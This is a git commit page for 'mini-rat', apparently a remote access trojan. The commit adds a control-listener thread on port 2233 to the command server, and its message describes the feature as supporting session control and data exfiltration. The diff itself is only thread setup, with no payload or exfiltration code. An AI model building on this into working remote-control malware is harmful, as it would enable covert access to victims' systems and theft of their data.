summaryrefslogtreecommitdiff
path: root/server/src/mini-rat.c
diff options
context:
space:
mode:
authorDanny Holman <dholman@gymli.org>2023-09-29 09:24:21 -0500
committerDanny Holman <dholman@gymli.org>2023-09-29 09:24:21 -0500
commitf5b7f8b3f466fdf7acb57d9bc8fcc12c65080f67 (patch)
treeb5b66ad9fe6af707b6791893499056ee8c5fd1a9 /server/src/mini-rat.c
parent27f3d76e8a1c4c4f5e301fa45a33cb095c1c9df5 (diff)
server: implement remote control connections
Implement a series of functions that facilitate remote control connections, i.e. connections that control session information, allow exfiltration of data, etc. from the command server. Signed-off-by: Danny Holman <dholman@gymli.org>
Diffstat (limited to 'server/src/mini-rat.c')
-rw-r--r--server/src/mini-rat.c15
1 files changed, 7 insertions, 8 deletions
diff --git a/server/src/mini-rat.c b/server/src/mini-rat.c
index a0ce6fb..6112d71 100644
--- a/server/src/mini-rat.c
+++ b/server/src/mini-rat.c
@@ -181,16 +181,15 @@ int main(int argc, char* argv[]) {
pthread_create(&listen_thread, NULL, listener, (void*)&port);
pthread_detach(listen_thread);
- size_t line_sz = 1024;
- char *line = malloc(line_sz);
- while (running) {
- printf("mini-rat> ");
- getline(&line, &line_sz, stdin);
- parse_cmd(line);
- }
+ uint16_t cport = 2233;
+ pthread_t clisten_thread;
+ pthread_create(&clisten_thread, NULL, control_listener, (void*)&cport);
+ pthread_detach(clisten_thread);
+
+ while (running);
- free(line);
log_msg(LOG_INFO, "Mini-RAT shutting down\n");
pthread_cancel(listen_thread);
+ pthread_cancel(clisten_thread);
return 0;
}